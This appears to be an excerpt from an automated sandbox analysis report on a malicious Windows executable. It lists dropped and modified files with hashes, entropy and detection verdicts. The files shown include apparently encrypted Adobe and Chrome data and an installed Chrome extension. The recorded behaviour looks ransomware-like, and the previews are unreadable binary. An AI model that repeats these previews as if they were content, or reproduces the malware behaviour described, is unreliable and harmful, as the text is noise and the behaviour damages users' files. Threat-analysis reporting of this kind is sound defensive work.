SSDEEP:	6:kKX7sujN+SkQlPlEGYRMY9z+4KlDA3RUe/:/Y3kPlE99SNxAhUe/
MD5:	413D283D64E2C9AB2718D553F60B4967
SHA1:	B91B5BDF900C49491A283189C387203A502B809D
SHA-256:	829B69D8775FEBABEDD084BBF16D4786C0C34500F9E118314F3688DED1FE1618
SHA-512:	CB17EB69E9A9F5BB6DF811F884B87F980316C33238161B8C79A9B531B5F0253D7EAB0A63941AE52EE0EF5B0DB0244FBE1EB64DA4427287E3373DFFBE90D71633
Malicious:	false
Preview:	p...... ........`....C..(....................................................... ..........H"......................h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...

C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	700416
Entropy (8bit):	7.84785005614839
Encrypted:	false
SSDEEP:	12288:vE1Gh9OfPNkHH1fl8Zjc38izOfdXacgGeOM0GejX6B:qM9ZZl4mGXjxeOMg4
MD5:	D3D46D0339CEB24C85568E75F78846A7
SHA1:	36F63066BEBA540453E1B93E6B1E282AED804234
SHA-256:	26BD4A40D12D5483B5CF8A0A2DB0DDDB151B0B3206079DCF2782834482A2C3B7
SHA-512:	D669AAAFDDB658F88DD6D325883D7B568B9E6B6DC5914B0D7D9D01CF468F0E0521E05E5A7F46E0437E9389470F4F5EC751B416B94412956C2A208B0BCCC8227C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Joe Sandbox View:	Filename: aiJQkLaTCf.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L.....c......................B......<............@...........................L.....7\|..........................................x....0L.............................................................@...@............................................text............................... ..`.rdata...3.......4..................@..@.data.....A..0......................@....rsrc........0L......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.884699439094672
Encrypted:	false
SSDEEP:	24:4Q3LCb+6qfCkJ7LIxaENDBNenJu4l12Ay2D3Df8HsWQxwL0JF+xQKpnXZUhVNJyh:HCa6ECOADmJu2nbw+2EE+vNO+yD
MD5:	321DCF1B1B930D9F9659DE62230DB512
SHA1:	8B46317BC93D7ED095A0C15BF8D6C0D5B79B0133
SHA-256:	B6FFE6D4C2EA1CC70BF955A5A6286F348B8BC199C156D90841B085C9855FAB0A
SHA-512:	AC2FD72B4754C4DEAAB997908733351057594BA443AF2A477BBFA37E6A5096585280770023F9495CCAF801AB3E90B9E07EFFA7F6E7E83DB88FEDAB97B16AA74A
Malicious:	false
Preview:	%!Ado...^.5...).....qCs(....."./xOD..3p../.xh..h{c.,.M...M~..Jvg...ZP.8.N@..%5!.q.jQ.."..A...DA........><.T(...d%Qr<......>J<9o.WtI].s$u^X..Z....>F..$.X.@.......;h.f`..pOQ^.....w.7..WV{....6...}..Q.wT&.l...F..P.N...B.:c..........x....#.....Vz}.7v.q....<xe.2.`W39..)......V..+..ZX.."..B.Z.... .4.u5.'u........s.p.,.....\|.pt..!]..=...8.../......I..'....lE\.]....w.`...e......,.A5{..(.......#.~...p"."..q.......T...`..F.....mN..6.7.....d......Vg.A!......uV.:.@..mV........2..!...@..0.I...D./..\....eT.O..%c..!xjC..B.&..[.l.....h....G...9.rd...na....-.........Y^...../...........M.(6.`..4.:.U.Z.F.3...W....0..k9d1....<.t.z..b.t7..9.\|..P..Oz:,FU.-\|....b..o......O.o...;.O...q.M.Z...42O.C..Ku>@+}T.\|...P.g...7'B..s. (?.{U..U...,gz......I5....U2....x..eX.^..\...ehK....p_.h[.\|v'.n..qM.c.o_...dcm..M]...7j.0,...(.?.....-5..tXW.-m..;...0n...8..!6...A......_27..vU....,..d..\...G........M{.&l...!}..\..S._....P.N..1.V.P.N<........_{...b.K...a..+f.BLa.....`

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877509161202218
Encrypted:	false
SSDEEP:	3072:PNwTeSqPqaAdNaXsZoxKI9ECm/a7d4wG3tm64rh9g/rFR0IXE07ZmandGCyN2mMz:PNwxJaLqWxH230IXE07ZmandGCyN2mMz
MD5:	5D6E2074BEA9A98F10FC2E7F3A37FC75
SHA1:	58EB3D0F4364472AE3E0F741FFCE791C3268BEFD
SHA-256:	23E615927CF266A176B9F1712944EFE3F302C58E580EC8E8449647B7F5D0CEF1
SHA-512:	AF77BEC81D76EA9BEB23E4B78723313E178B387695FF5CDEFE6C25E1B182D84ADDC719258432C76A31D5C88374D1569A8CB77982C19EFCA33F19E7E1CE3BF644
Malicious:	false
Preview:	%!AdooJ./(..w..wJ...........UT.t.U.....fr.T...T...E.T@.5.....U...7..F.~^..i......r..h.....R..f.c.$-.ON.w4.T:5/.....@2.o..?.Y..x.&.w..b.e...oH^.d.QZ..........Sll.M.=..N.qx+.=.s..7aIY.....I..3.M:.g..2...E.......^....}.....L/...JK..c./Q..gf...E}..[.......{1..2....h.:..X.m3.....X.....h..y<..F y....pSK9..m.@...l.%.~.y...$...6.$..`...t.!..j..6..<.....w;../..4....".^.....T.Y..+.?.}{..A.1..v......1...........?.'q....C..!R.LAl.wIP....^.qt.........FS.....f..kj.e...$=i9j...9...L.e.6.....gt#F.FK..u...(.s..m..a}.4a...7..!Y.&...:A...E!.0&r.+...RD....4.;.\|.Gn>bw@....T.^..../>@Y...'pd.t]..M...b.^.2..x_{.}....x.v#1PM.EM..........b.u[..&...;.....S@......j..8I\|/YAg....j.V.{..=....Nj....../k\|./.:A..H>@..ay..n._....@....\z.F.M.Gm1....R...n....F.?}q{..'...+s...q..Jp.v....L...x...../..'$.W.SU.D...,5....c4........3..d......5nIJ..U..w.qZ.]... [.i..........C..>....4...Rc.....I7....@k...i.k...[...0M.ZxT0.P...Q.."..kv$....Z(t.....].X...o`.f.....?.xlw..m..-...UC.U.5.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.983324089552515
Encrypted:	false
SSDEEP:	3072:heevj5Qx1t6zsi2zJMKUaehebVi7NsM95UqlX1d3UXdOoWiRns:hee7GLtzzJGaK2Vi7NzjXcns
MD5:	917A01CF724BC1AA454D9CD795FEE27C
SHA1:	7193456EB779A9F959C93D43DBF16C12EB6EAFAD
SHA-256:	9B22FCD6BBEACB3A80000763B219CB0D56660A1F193A03CEBD1CA1C3EF079790
SHA-512:	D18A5809D39C0D44659AFF3CE800A89E4BC255B8B4F151934A92563C1B8F861AE4D46D44AF71D6E6948169BBB585B66204A2E528C1330772BF7C8D11CBD01E1E
Malicious:	false
Preview:	Adobe.U7.....v+P..d......n.[!B...vT.@.W\.).p{/.O.~..y...^....Fo=m..1..m.......l<.P.;........%l......G..x..5.U..j..L...a...4.O..N..o...Izh,...f.W..X.3....H.'......8c......N\|.\|I.s......s.=J.....2..L..........a....X...4bz.(.D.....l>....D...-~._..CM...Z..<..A.....g.4.cw.3....>...?..I#<...}.z...]L.F..\|.....RJVMb.q......H.-.!9..\b...Z....Xg........>.w.+..-..E.....p....hxN .a?.....{.9$.E....e.M"'^<.D.V........'..c.Z;NB<1Az....@...d.=.3..m......;..Jv..d.....%.E.......Gr3.M..S.Qk.l....{.....I.7...n...RK.'H$!..\k...h..s%.PU...^.......Vrz:7..r..EeOD. ..":.F....q.U.8.L:.0.\..AJS..Z."..I.M$.nE.)....I......1.....E.N..+!..9..#P..I...9....6.i=._.t(M.VtM.`.......;.QX(.E......... ..U%p.....Z...05...=.?...u.{"4(....nb....f./......I.....m..w5..?..(.x..Ro..av.......@.[.;YQ..A.....R.y..p.p.(YPvy...!.1....~ns... ..~...\..&.C.=e..3......o8..b.)..E.e....Z..:..d/.x........y.<nr.Z.7...3.6\|....J...H..ZAv......1.&..._... ^.R.%g.....(y.Y.dX..T.Q_........C7

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.942848945597965
Encrypted:	false
SSDEEP:	96:wYLL/SWJtj6zjqNeBU3VFYzWx0+kXikPa:wobSo56zjq+CuzWx0yky
MD5:	F052609C1A1750A33B215FF5ECBF6308
SHA1:	DDD20F6D469BF8DDC9614CDFE22CF1D846D3E312
SHA-256:	AFE680A6BD23EFB589DD2D3827A17FAB9CE1409C647A050AF91F796AF7BD43B4
SHA-512:	56CB75A0070D5B18BB59C056784F98A6A0F266D9827B4994D3B468CB1D03E1B0F8FE65F8D45F7062FFC9D0AD787FCC611F8D9DEF3D40A773BF78BBCE7DC900D8
Malicious:	false
Preview:	{"all.&......2O.Y>.....ii.9!_".Z..nA..'.........X2...O2.Alx.a..j..^.~.9w5B..e...-K(.T...,.m...t(7.z.&a.8...u.J.....f_.).B./G.....@\+.....6/...F.x.-i$.V....aN.x..!.s...%.....~..~...G.M....9...[....;......5B.fA......u.B.@....6...i..j.$..y...D.....#...e"..x.IuYX.v.L_...C.2....=1............b.#...,.o ?]...t.Z_6.....A...v(G..>.@?.{\....dN.....Z..........\|2..5Z.vVY?...q&.r.OT.g-.......-...u.'..`.....}.o.!F....].....C.e"\<].v.^W>...o8..h.$RQQok;......HC..j.n=.:.j..f.......rD,.?L.C_..p.+..Z{..M.N...B.f(..o..F....n..k.7e..Vb...d....c.).\|...U........fTW.\|.e..\.5h......\|...,&@...G....S.]..R.._..M....)fa.R...9M#cc.(9......>..Gw..e!..E..fe....q.U"(h;.!.L......MX[.1.._....npt........QA...W...........S.K.d....3...G...p)....{....bWIsp.Gx.,..n.o.gK &..zT.j..(\|....$.D....4....Y.?...A.....t.y'.....F..w..E>.E.....b...~.h.=\]..,Pwv.<).....hl.P....4.Wz..o..d..>#.Oo...........4S%7.,.N.....R4..p....].K..^4.G.b2..q7R...D.f.h..A........eo{....+...6j.BX..SX:

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.9971149204335905
Encrypted:	true
SSDEEP:	1536:d73WkxnAE+HRtMCngVY7XMgtGdSuvpvwYaBMcQ:8kxnATxlQdCq1wYaBMcQ
MD5:	5C105BB063842769B055D385EE17FE0E
SHA1:	9168B3FF6ED59CDD396E5617DBF04D80FCFB0BAB
SHA-256:	0C374F50651932AC669A3C7FCB46C7B3D0E69816C2C0246BB8B6F6E94CF521C6
SHA-512:	0403D839591C02458FC621A23D2BF631C8EDDCAF65C87130700E6F8DB7F8DCDDBAD8FE71475AE06E2E809767EFF38E87C553A1D0692194644DCCEAD862D8564A
Malicious:	true
Preview:	4.397.'..z/.k..x...I....t....."v.....~...../.YG.r.-......R.p....}..u....9.>^....[u].\U..Ht.<....`=.y..k...3.....h.W.....>V]G.Pw.nI..YHZw~.b].>.>4.l..@.....R.T.J."5.f'.....sv......0.D.3....R3...C......\|u.-K....x.Y.V.}..c.%..@.FI3H.k.nll...<.....<f}M......x.f.P..].&....A..4)._...M?..;f.m...s.-...0..v..f...S.I....YPy.x......k..sLJ5.7..Z..H]-.;....B9...G...\...Du.......CX......K....?.......s.T.VXU....O.1....;..~...,J.. _.<C\|....D...=....rv.x..K~...\|...f_......MI...oF.b4..H.......[m.3xm..b....e..0#.4.s..../..."...S.nW.Z..)...1.X.q.Z.x...xZek>.z...h'3.;).]B.]..k..O."...F.ba+..)@.O./...ub.'.S.$6..10..... ,.yQ....#...\....4..j.ZX.6.[fA.Rea[9..K..J\s....5'....{.FQ.......4Q.z.....Cj..j.m.[)!..n....bh...h9.#..F/.\|.z.?Om.X.T.!T..%......#Q"..0......?.0.....}/...H;..n.A>"..J.(.pU..}.=h.WZ.!...f...@Se`l."V..t...J.;%J[....7WD.&....D...>.$f.2..S...#..ex\|$0....X...P..\|wR_."......8w.<..{.l.e.i.-..1.....".&.> ]..._...v.&..D#....K...T.F.MZ#.7.i.>".K6..W..g.)2..J...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	467
Entropy (8bit):	7.463643295957502
Encrypted:	false
SSDEEP:	12:qV5DuyUWvj0Op5Iqj2SF6ENAt38ZCRL2PfwCSSvoqw1cii9a:m5DTBIOHzj2SQ+gL2Ptbw1bD
MD5:	41DFF64EDFE7C6E0173515A588960815
SHA1:	E3AB1FBEB7070723046DBE4BD4F9FC23FD38F560
SHA-256:	FC8854DA78A328B833E710D63A4EBFC379F4626F3CF037F59A6345C7174CEFB2
SHA-512:	89A6F1436F85C58EC486CAEB64D44C0B4E55116E56E900F5EBBF10D2325B5F5E6DD690E0256C12E4021B7C7F169AAC8D8C991E0B7556041FD1A3E15E4EE365AF
Malicious:	false
Preview:	.f.5..Ds..q\|g..S....vNBi$B.[...d.7&...;..9M.vg..fobX.,..4.....t.w.!...t..w.]....j......I..v..~=..BQ.P.ns^.f.O.....\.~."j.i)..#E.P........!h.Y..y.".......+....mH.^.6.E[.).....<.).g.....t..D.Ix{-(.k..sK.V...U..mV..x.....Gn1?.7.l...."U...u.._h..k.6^.0Z7P.tf........7`'...vba,.Tf..+...nH...O2h...8.C...b.O.......A.X..,n..T.0t.h.c...P....."..;..V..dTa...v...+.p.....H.'HTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	611
Entropy (8bit):	7.607680105901082
Encrypted:	false
SSDEEP:	12:kEWS4h9ve7Bs3TR3tmRMIvQXZxLYnLBDeJFxs0INoqw1cii9a:8Fh4s32RMldYnqxs0ww1bD
MD5:	C89DE7F95FC48650535E299198B8BED3
SHA1:	4E319CC0275362BCCF3FEDDD18541391F122412E
SHA-256:	9FDBE9FF9FDF79AF925FD2453BB8E0402BF3D3775E5050BD7A8A50080B5558D1
SHA-512:	84C8F862B4A602DFB2DCF5EF1031DB45B1C9B8DE128E1B53F64031FAA9CE58AE6215E290FEECC30E44C255278DA5DD02629E42D8F6B7EA78199211277DBD0206
Malicious:	false
Preview:	2023/.o..z.~]......,,.....I.t..=...i.:..k....Y.Y9....2..s0F....-....3.....M..I..s. =...k........0.......`Q..R.k....GX8.Y%t.(...7..}:{...I...n..>z.....-.....7.K4.$E....z....\|....P.(.W*...F"...q..I...b?.......R..8....F........_]...../.E..".!.P........u.........@...vN.j...4d5..g..<.j...f.B..wI.6.Z.j..N"\|.6e...0...l ,...9.2!.......bB'.t..#W...f.``....Fs.\|.$....]F).$..L..%.!...[.D..."}0l.F.g..nz.dC......D....{rt..>.X.k.]........R.^.:;.37.:..h.9.Y.I....Qt..5$.c...W[......D.......>.0...X...y.....p.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	467
Entropy (8bit):	7.550212969173909
Encrypted:	false
SSDEEP:	12:q6BpflxVe1YF3FVgK7T7TSaYx4Cvmoqw1cii9a:XrUeFVVg8OaM4Cuw1bD
MD5:	C65F811C9499DD5BA6972625F5EDB1DF
SHA1:	5C0ECCC8F8B7586BAEA8B6999B2C3EF0DEB11216
SHA-256:	0D54E95490342405FCB44AA6AE7DB2F4890E3EA467CA2AD409AFC451866DF940
SHA-512:	BCDB6404D734777015BF2C757EC5CB4B8008EAD914A1D1A6C5068BF132E831AFC5B44D3B589434CAA169E4E9F58BBB3348E7D59B0495C3A4174CD82BA73844CF
Malicious:	false
Preview:	.f.5..4a.L....w...N@.$.G.!.<wH>N..~]M.G..V5..n5......T.A.:..'.cT......X....E. ....[.e..... a.....v.{.+..4"....5...........@.ED)!..V....3.!f..k/W.+Ul...........D.F..P..G..G~......3.+O....[...(.....S..].......r..Ler..A....G...P).s..%=...06.`<.....h.^....L..S.a...`..A:..jquB.8.j-.........(..P$.9....{..P@....i....7u...a.6\|.;R.^.B...AV..#....*.....jk1.\|M.../...J..tg.i."I.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.669678761050512
Encrypted:	false
SSDEEP:	12:k/sn0SoqD1s4IgG7gdkT05KQomVgEE3W1Illk5LX5uVCMTGoqw1cii9a:NoBD7gKcK3tWIkp5ZSWw1bD
MD5:	DA9C775F5794400F2B5B59505AE4E11E
SHA1:	CFD8AD75EFD204360B1AFF463739763FF10E6A12
SHA-256:	35B0AE2231DC9AA925079DAA80B095737DB7CB1DC5D79C1F5D4F529A5AEE2200
SHA-512:	F4F97B8BF2B4DE84177FE0DD38FA43CCA324ACCF544A65C23AD12AF182F0E0E61ACF8AD701615B4B8F555C95E94C0ACEE460B431EBFB3A03266016D70AF7A21B
Malicious:	false
Preview:	2023/..[.o...~h..`.'&.4.L...._.WH......A.%.x..5...<..?.N...[..X.(.=`pM.Q.+#.Q..%_,C.o`..}..p..^....C.[..L....UYB.o..&.&.....-:b...-..m.gd.Z..L..b..v..Vq.]..~@.....[...;!..R.c.J..0'3.<.U[#...2.{8!.eQy7.E.{?....d\......4~"...>...]!...;j.o...1...X...k....x.....P.>?.....%...zp...R...T.....w..L."..Y..6.Ayk............v^nI6W..zy..~9&e4@0...X-%Eq..m....a.R.2.m.O...M.O......c..p9...v.......mT&.....0.._lN(...Zc.....htN....H......8AS`o.w\|\.........g.X......30...\|2..h.`.2..>.....[.3.t~.....~..'.te..H....6....}TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.702492387792402
Encrypted:	false
SSDEEP:	12:qBASYyvg5r1M85iR9Kj08OJAvL6f20FXyAmeVFW35SQBoguzoqw1cii9a:H/GU1M85mt0vV0tyC2oQew1bD
MD5:	2AA3FA7935BB152F13130ACBD72380EA
SHA1:	2FDF47EE4F123B30124A3EF65715CB39AF59B877
SHA-256:	033B39A042651ACD73E1AB264361ED8B4DF74E6F129A733025FFCA99F26BFFA0
SHA-512:	D42C5D4473F01AB7CA55CBC4B9F756758AB767A9526DFF271D04524286D56AC330074ED17380CD82C632238180B0386988955348C8442D3CC959E1935E310052
Malicious:	false
Preview:	.f.5..<.\.K.KA4._C...Y...........E...e......#^{..'....#...........N..T...Jk.q.s....usXZ2.H..l(.."......,an.W.G.zC.....4Jv.<....J\Rb..........l\.}.4w.H5C..".....w.S.....).....j..<......\R!.....B.."#.....L/..QJ.3E.q...>Z{\|.....]..;..t#..n............y...l.....X....+n...s........O..,t..g..p;..79}.>..m..J..d....U..._.e.Q.......?.H.DNI. .?...\....Y-..z.Ew...3.....?.v>...W.S.:.l..?O.5w:...<.a..R.......3R...o;....F..Iy...l._.d^T`._+.C......h..-.%F.o>(rsM..&... z.......1t7...).b!...NlE4.Z.o....`...D....qny}!....OfPZ.....lCvv$y20D/..S7.0.......'........8..0u..mL..M.ac.!X).T..k....+.$R..=}T..7W/6...._.ix..%K..O.5.n...):.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	611
Entropy (8bit):	7.635089540380044
Encrypted:	false
SSDEEP:	12:ks99ZF7arrG84Jivk+lhK5/E924vXvu0pJmypcrOjvQar9oqw1cii9a:tF7mrGhWk+yOH/uSoOj1r9w1bD
MD5:	F7082240A0AC794948349EB1C58626BE
SHA1:	95D1ACDD0B59330B926A3B257D66A84C803C2709
SHA-256:	5444E2FDA48A2ED4C493A124849F53BD0B1BCF8104ED7D4C743C7B6363E5F37E
SHA-512:	C914355AC5FA791C6A2484B709A9AF06971B55C912C77D8214C3C4F306D333657E192ECEC46258706A834D852476CA694359CCB9CAE4787D25F55A925A41869F
Malicious:	false
Preview:	2023/....Eu.>G...{a.]oXJ..#.3..[9.v......<.&../h.0.U0.&.^l.....o..M......b..z........oW.U...o.E....N:.)...!z..O.V........E....7`z...!....d.i......y~...F\|..p.#.c...b...!.Z..%!.5{..[.....:.&.. :K.'...........1..F.e.....(..<. ....l...5............%!.T..3..^..[x2.0..jT.bH.....8..ZI...}F.H...i......+7...\|....'e{y....4n.."...)O1I.C....m..i.4y...7?R]...&..n../.hj..q).U.x..@L.........J..}.(pW..T.....()R....r../.Y.dP.G{H.Y.n....c.....&jp.hN/S.*xi...h.L.O........ e..3LD~\|..g.k\|).z..1...1...?)h..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	11551
Entropy (8bit):	7.985738222284561
Encrypted:	false
SSDEEP:	192:w11wBWQrOZQProw6dPCRmDQMmv39ozNBOjDTxIypKPxqeYtxxpu4JAZSN/jyxT:S1e9rOZQqPimUMWMkjxDiqA4JA3J
MD5:	9198EC9578860D044FFF2BCD7BDEA2A7
SHA1:	DF065E69229FB01AFB8C77A3AF81F16A7E30DE0E
SHA-256:	9385DA8F24FE226D7780A0292C9B9254ECE4779AF83B0070551E2C60B9783ACB
SHA-512:	C2A53FEF5A9D06129D65095AADB81B8AACCAE6E4DACAE08AB164ABF9EE5C19A9C913F79A9F45AC321B5594897F03C63627CCE1CE9DFA78DF2B710944BFF7DCEE
Malicious:	false
Preview:	{"fil.D.....9.+E..;<\lJ.d~U8...=......Ay.H]}6.....-...QA.W.v}..._{..z3.../...]..4.~......._r.x_'...7..../.a...w.p.BmX.r...<K{B..tXDd&.Cj...~....."GX?m..q...Fy.>....#.-..8.....\.T..$.@..22[.oF.}Q.+.....d...]..P...6.L.ES.l...X..R.N...xD.l..1.b....m.&..@\.u.f.R.K..^..........^+....U2F.....}...,......`......8.j...:[..F.}.y..\...^=V)4.@<..Cs.^@...\|....k....vq.Q..}[..c.h...P.....R.Y.1..U.E^!C..}..+DSw...uU.A\7>.r..,..T+....h..c..p .m.s>.r......H..gr.X...m4.c.ZC.....@..ec....:+...X.{..d..De. k..s.s.w.e.DI..[..PPn`..&....i.Q...H.TF...Q2~J.V...}.....A.D..r~......v}.w...(y..^O..K7..'.......x...("..p.....4^1.W..L.J..z..}.k~..\..u$y12.R"...#f..KW;A....M.[_.. ..z.]....D....9A'.+....T.3...R..c...Od.V...DE...\|.....V..........._BV(.xU'}.I......6../.kK.......,.t[.....T...p[B..!YI ...B.$EiJ.}q...WR.P..x.m.`.vM......[.z...~..Y..4+..8H..w9......r.=.W0.+........r.4KD.BZiS{%..i.L..l.jLT...e.t.0y...G.C..D.D...z.9...Q[G..X=.{0+a.k*.&..\|@...\..........M

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8114
Entropy (8bit):	7.980967136612818
Encrypted:	false
SSDEEP:	192:RvzC+htDHj5AQcGNWfOiHI8eSbhtTfnO/5KAr:t2uDHjKLOiHTeSltTfOL
MD5:	2A938AB771C614653469F20EF203AC47
SHA1:	FCC340B505307783C34FB148CAAACDB778B8A9A8
SHA-256:	043DD009A76B4F74822D78EE87BBC2C34D409891410029872221F6C7E4502F48
SHA-512:	D4DF156C39E9C1A4F5CB2F2641AD0048156FD129683DBCB173C7E28E7535F911E6E4CC4B2E1E21C619433F360C6A53825435893076BC41B6C1D36B8866B32307
Malicious:	false
Preview:	[{"dez../..L...'O#n.:...R....p.#X.@....S......M..R.c..zi.;w...IEH.V...Wz.}t...o....<.#/.,[EU....'....:.q..@EZ'A....D.;H....2G.<R.)..H.>..... .hC.jG.....9.....M)4Z=y..} .R..;.....;....H.....z4.9.E4.Sg.{...e.A......RhV@.......U..eR....1a.....".w..d8.T=>?.$ ...6d.D.O.As..q...i..wJv,}.HW..6.q..#..$F.#l....K..............!./.u.i..r.....Y...U.Sy..5]g9..."......t..WQO[.....+yX...$.'_.W]`J..~..?5..fdEvb4..O........N..-....0.yaU.A.p@......w...._JG...5.O..H.)..k.:.4.......B.uks...a&v.L...A.OW..xM..P.=n-.@.R.0_...f...........co.1..r48.-..TZ....w.Zi...'...".K.....".A2.........^i"b...PC. ....a`.W.>U.>l....z...c...L..sKk]..F..K.S5.I......,....._.......S...:./U.Z..}#..3,...G{.D.S.(..g...`.....d.S..">.W.....UMr.#..b......`.....JJ[...../..E...Z...k....=.M..~.!c...Fh......g...6w..2.&...F..'.X...Z..s....x....k..3.&.....^f......Y.t.2..N.X..Jw...].J....x.M.....T.]*........!..-<......S...@c".....0Kk.E.>.....<..x..^W...akL..............b.X...?.\|...B.d..pJ

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	544977
Entropy (8bit):	6.602337964863098
Encrypted:	false
SSDEEP:	6144:dXUdChSBEga+HAtB1yf2NBqXNQRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOt:WdChSBtavtBsfSK3
MD5:	0CEAB0E5A83D8A6CDBC7ACB10A12BEC5
SHA1:	50C438E0A5170C2B22E98F7A073FFD42C82BA5C3
SHA-256:	66DE1C6BBF3DCB6E08DF5E281D42BCB9C665837EA84684C5BD6B65377DC415CC
SHA-512:	7059451B59671232C8F40CA8B156BA7B4056957EBEF07E4332141C7B6324262B2667D352145505F3A49679FDE91C493759F3F3A2D15E729B31FCF8A0BCDC1BAE
Malicious:	false
Preview:	/.. ...~?........M.N......0....k".o<s7..M..b...35''+{....."......z..GI...g8p..:.)..~....CCf..T.m..p..<........))..(..s..f...J.%...6.}....?.S........&#j.....$T)....iS...V..u.&.V6....5c....'a..s...~...Q../.7..A......3.. VgbZO..,.J...otw6oh..}......T.=...u/...........T..9b\.h.f.bl.. .u=....k.1j. ._..{...^d...K!...n.qCP.....f... 